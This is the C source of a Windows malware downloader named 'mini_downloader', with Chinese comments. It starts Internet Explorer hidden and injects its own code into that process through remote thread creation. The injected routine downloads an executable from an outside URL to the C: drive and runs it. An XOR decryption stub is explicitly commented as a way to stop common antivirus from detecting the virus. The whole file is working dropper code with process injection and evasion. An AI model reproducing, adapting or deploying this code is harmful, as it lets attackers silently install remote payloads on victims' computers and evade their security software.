/*
"mini_downloader"
code by kardinal p.s.t
compile by vc++ 6.0
can not run under win98;
*/
#include <windows.h>

#pragma comment(lib,"user32.lib")
#pragma comment(lib,"kernel32.lib")

//#pragma comment(linker, "/OPT:NOWIN98") //取消这4行的注释，可编译出2K大的文件
//#pragma comment(linker, "/merge:.data=.text")
//#pragma comment(linker, "/merge:.rdata=.text")
//#pragma comment(linker, "/align:0x200")
#pragma comment(linker, "/ENTRY:decrpt")
#pragma comment(linker, "/subsystem:windows")
#pragma comment(linker, "/BASE:0x13150000")

HINSTANCE (WINAPI *SHELLRUN)(HWND,LPCTSTR, LPCTSTR, LPCTSTR ,LPCTSTR , int );//动态加载shell32.dll中的ShellExecuteA函数
DWORD (WINAPI *DOWNFILE) (LPCTSTR ,LPCTSTR, LPCTSTR ,DWORD, LPCTSTR);//动态加载Urlmon.dll中的UrlDownloadToFileA函数
HANDLE (WINAPI *MYINJECT) (HANDLE, LPSECURITY_ATTRIBUTES, DWORD,LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD); //建立远程线程,并运行
HANDLE processhandle;
DWORD pid;
HINSTANCE hshell,hurlmon,hkernel;

void download() //注入使用的下载函数
{
 hshell=LoadLibrary("Shell32.dll");
 hurlmon=LoadLibrary("urlmon.dll");
 
 (FARPROC&)SHELLRUN=GetProcAddress(hshell,"ShellExecuteA");
 (FARPROC&)DOWNFILE= GetProcAddress(hurlmon,"URLDownloadToFileA");
 
 DOWNFILE(NULL,"http://www.testtest.ac.cn/eeeeeeeeeeeeee ... eeeeen/notepad.exe","c:\\ieinst12.exe",0, NULL);
 SHELLRUN(0,"open","c:\\ieinst12.exe",NULL,NULL,5);
 ExitProcess(0);
};

void main() //主函数
{
 //1.得到IE路径,并运行
 char iename[MAX_PATH],iepath[MAX_PATH];
 ZeroMemory(iename,sizeof(iename));
 ZeroMemory(iepath,sizeof(iepath));
 
 GetWindowsDirectory(iepath,MAX_PATH);
 strncpy(iename,iepath,3);
 strcat(iename,"program files\\Internet Explorer\\IEXPLORE.EXE");
 WinExec(iename,SW_HIDE);
 Sleep(500);
 
 //2.得到 IE process handle
 HWND htemp;
 htemp=FindWindow("IEFrame",NULL);
 GetWindowThreadProcessId(htemp,&pid);
 processhandle=OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
 
 //3.分配内存
 HMODULE Module;
 LPVOID NewModule;
 DWORD Size;
 LPDWORD lpimagesize;
 
 Module = GetModuleHandle(NULL);//进程映像的基址
 //得到内存镜像大小
 _asm
 {
 push eax;
 push ebx;
 mov ebx,Module;
 mov eax,[ebx+0x3c];
 lea eax,[ebx+eax+0x50];
 mov eax,[eax]
 mov lpimagesize,eax;
 pop ebx;
 pop eax;
 };
 Size=(DWORD)lpimagesize;
 NewModule = VirtualAllocEx(processhandle, Module, Size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); //确定起始基址和内存映像基址的位置
 
 //4.写内存，创建线程
 WriteProcessMemory(processhandle, NewModule, Module, Size, NULL);//写数据
 LPTHREAD_START_ROUTINE entrypoint;
 __asm
 {
 push eax;
 lea eax,download;
 mov entrypoint,eax;
 pop eax
 }
 hkernel=LoadLibrary("KERNEL32.dll");
 (FARPROC&)MYINJECT= GetProcAddress(hkernel,"CreateRemoteThread");
 MYINJECT(processhandle, NULL, 0, entrypoint, Module, 0, NULL); //建立远程线程,并运行
 
 //5.关闭对象
 CloseHandle(processhandle);
 
 return;
} ;

//解密函数
void decrpt()
{
 
 HANDLE myps;
 DWORD oldAttr;
 BYTE shellcode[500];
 ZeroMemory(shellcode,sizeof(shellcode));
 myps=GetCurrentProcess();
 ::VirtualProtectEx(myps,&download,0x1000,PAGE_EXECUTE_READWRITE,&oldAttr);
 //先把原代码,搬移到变量中保存起来
 _asm
 {
 pushad;
 lea esi,download
 lea edi,shellcode;
 lea ecx,decrpt;
 sub ecx,esi;
en1:
 lodsb;
 stosb;
 dec ecx;
 jne en1;
 popad;
 
 };
 
 //解密搬回
 int i;
 for (i=1;i<=0xFF;i++)
 {
 _asm
 {
 pushad;
 lea esi,shellcode;
 lea edi,download;
 lea ecx,decrpt;
 sub ecx,edi;
en2:
 lodsb;
 mov ebx,i;
 xor al,bl;
 stosb;
 dec ecx;
 jne en2;
 popad;
 
 };
 
 //此结构的的作用在于使一般的杀毒软件无法探测出来是病毒.
 __try
 {
 main();
 return;
 }
 __except(EXCEPTION_EXECUTE_HANDLER)
 
 {
 
 };
 
 
 }
 return;
};